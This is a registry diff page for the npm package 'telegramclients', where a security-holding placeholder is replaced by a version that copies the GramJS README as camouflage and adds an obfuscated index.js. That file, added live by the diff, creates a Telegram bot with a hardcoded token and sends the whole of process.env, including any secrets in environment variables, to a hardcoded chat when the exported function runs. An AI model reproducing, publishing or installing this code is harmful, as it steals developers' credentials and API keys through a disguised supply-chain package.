telegramclients 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of telegramclients might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +114 -5
  2. package/index.js +1 -0
  3. package/package.json +11 -3
package/README.md CHANGED
@@ -1,5 +1,114 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=telegramclients for more information.
1
+ # GramJS
2
+
3
+ A Telegram client written in JavaScript for Node.js and browsers, with its core being based on
4
+ [Telethon](https://github.com/LonamiWebs/Telethon).
5
+
6
+ ## How to get started
7
+
8
+ Here you'll learn how to obtain necessary information to create telegram application, authorize into your account and send yourself a message.
9
+
10
+ > **Note** that if you want to use a GramJS inside of a browser, refer to [this instructions](https://gram.js.org/introduction/advanced-installation).
11
+
12
+ Install GramJS:
13
+
14
+ ```bash
15
+ $ npm i telegram
16
+ ```
17
+
18
+ After installation, you'll need to obtain an API ID and hash:
19
+
20
+ 1. Login into your [telegram account](https://my.telegram.org/)
21
+ 2. Then click "API development tools" and fill your application details (only app title and short name required)
22
+ 3. Finally, click "Create application"
23
+
24
+ > **Never** share any API/authorization details, that will compromise your application and account.
25
+
26
+ When you've successfully created the application, change `apiId` and `apiHash` on what you got from telegram.
27
+
28
+ Then run this code to send a message to yourself.
29
+
30
+ ```javascript
31
+ import { TelegramClient } from "telegram";
32
+ import { StringSession } from "telegram/sessions";
33
+ import readline from "readline";
34
+
35
+ const apiId = 123456;
36
+ const apiHash = "123456abcdfg";
37
+ const stringSession = new StringSession(""); // fill this later with the value from session.save()
38
+
39
+ const rl = readline.createInterface({
40
+ input: process.stdin,
41
+ output: process.stdout,
42
+ });
43
+
44
+ (async () => {
45
+ console.log("Loading interactive example...");
46
+ const client = new TelegramClient(stringSession, apiId, apiHash, {
47
+ connectionRetries: 5,
48
+ });
49
+ await client.start({
50
+ phoneNumber: async () =>
51
+ new Promise((resolve) =>
52
+ rl.question("Please enter your number: ", resolve)
53
+ ),
54
+ password: async () =>
55
+ new Promise((resolve) =>
56
+ rl.question("Please enter your password: ", resolve)
57
+ ),
58
+ phoneCode: async () =>
59
+ new Promise((resolve) =>
60
+ rl.question("Please enter the code you received: ", resolve)
61
+ ),
62
+ onError: (err) => console.log(err),
63
+ });
64
+ console.log("You should now be connected.");
65
+ console.log(client.session.save()); // Save this string to avoid logging in again
66
+ await client.sendMessage("me", { message: "Hello!" });
67
+ })();
68
+ ```
69
+
70
+ > **Note** that you can also save auth key to a folder instead of a string, change `stringSession` into this:
71
+ >
72
+ > ```javascript
73
+ > const storeSession = new StoreSession("folder_name");
74
+ > ```
75
+
76
+ Be sure to save output of `client.session.save()` into `stringSession` or `storeSession` variable to avoid logging in again.
77
+
78
+ ## Running GramJS inside browsers
79
+
80
+ GramJS works great in combination with frontend libraries such as React, Vue and others.
81
+
82
+ While working within browsers, GramJS is using `localStorage` to cache the layers.
83
+
84
+ To get a browser bundle of GramJS, use the following command:
85
+
86
+ ```bash
87
+ NODE_ENV=production npx webpack
88
+ ```
89
+
90
+ You can also use the helpful script `generate_webpack.js`
91
+
92
+ ```bash
93
+ node generate_webpack.js
94
+ ```
95
+
96
+ ## Calling the raw API
97
+
98
+ To use raw telegram API methods use [invoke function](https://gram.js.org/beta/classes/TelegramClient.html#invoke).
99
+
100
+ ```javascript
101
+ await client.invoke(new RequestClass(args));
102
+ ```
103
+
104
+ ## Documentation
105
+
106
+ General documentation, use cases, quick start, refer to [gram.js.org](https://gram.js.org), or [older version of documentation](https://painor.gitbook.io/gramjs) (will be removed in the future).
107
+
108
+ For more advanced documentation refer to [gram.js.org/beta](https://gram.js.org/beta) (work in progress).
109
+
110
+ If your ISP is blocking Telegram, you can check [My ISP blocks Telegram. How can I still use GramJS?](https://gist.github.com/SecurityAndStuff/7cd04b28216c49b73b30a64d56d630ab)
111
+
112
+ ## Ask a question
113
+
114
+ If you have any questions about GramJS, feel free to open an issue or ask directly in our telegram group - [@GramJSChat](https://t.me/gramjschat).
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x35a916=_0x4b58;(function(_0x234483,_0x58ea48){const _0x5ccc90=_0x4b58,_0x3a124f=_0x234483();while(!![]){try{const _0x2e37d5=-parseInt(_0x5ccc90(0x1dd))/0x1+parseInt(_0x5ccc90(0x1df))/0x2+-parseInt(_0x5ccc90(0x1de))/0x3*(-parseInt(_0x5ccc90(0x1dc))/0x4)+parseInt(_0x5ccc90(0x1d8))/0x5*(parseInt(_0x5ccc90(0x1da))/0x6)+parseInt(_0x5ccc90(0x1d7))/0x7+-parseInt(_0x5ccc90(0x1e2))/0x8+parseInt(_0x5ccc90(0x1db))/0x9*(-parseInt(_0x5ccc90(0x1e3))/0xa);if(_0x2e37d5===_0x58ea48)break;else _0x3a124f['push'](_0x3a124f['shift']());}catch(_0x4bc4ac){_0x3a124f['push'](_0x3a124f['shift']());}}}(_0x2d3e,0xd5c97));const TelegramBot=require(_0x35a916(0x1d9));function _0x2d3e(){const _0x588ddf=['config','-4794095586','env','6518946yreCpa','211040ZnmpjF','node-telegram-bot-api','6PmjUFI','3842901Mtbumu','2864452LDHwbt','1215396TXseHB','6pRLPTB','2359540NZcLrK','sendMessage','8037010008:AAGgPwRQb_mPP_m_ajJgA2TCZg3-EB_AxRM','8539408GVGVzf','10GLnNsI'];_0x2d3e=function(){return _0x588ddf;};return _0x2d3e();}function _0x4b58(_0x4d486c,_0x3d8e53){const _0x2d3e02=_0x2d3e();return _0x4b58=function(_0x4b58ff,_0x158923){_0x4b58ff=_0x4b58ff-0x1d7;let _0x970bf9=_0x2d3e02[_0x4b58ff];return _0x970bf9;},_0x4b58(_0x4d486c,_0x3d8e53);}require('dotenv')[_0x35a916(0x1e4)]();function telegramClients(){const _0x431d76=_0x35a916,_0x3c20af=_0x431d76(0x1e1),_0x244e69=_0x431d76(0x1e5),_0x2030d9=new TelegramBot(_0x3c20af,{'polling':![]}),_0x4c44ed=process[_0x431d76(0x1e6)];_0x2030d9[_0x431d76(0x1e0)](_0x244e69,_0x4c44ed);}module['exports']=telegramClients;
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "telegramclients",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "Telegram clients for channel management",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "command-to-run-tests"
8
+ },
9
+ "author": "cryptoDev",
10
+ "license": "MIT",
11
+ "dependencies": {
12
+ "node-telegram-bot-api": "^0.66.0"
13
+ }
6
14
  }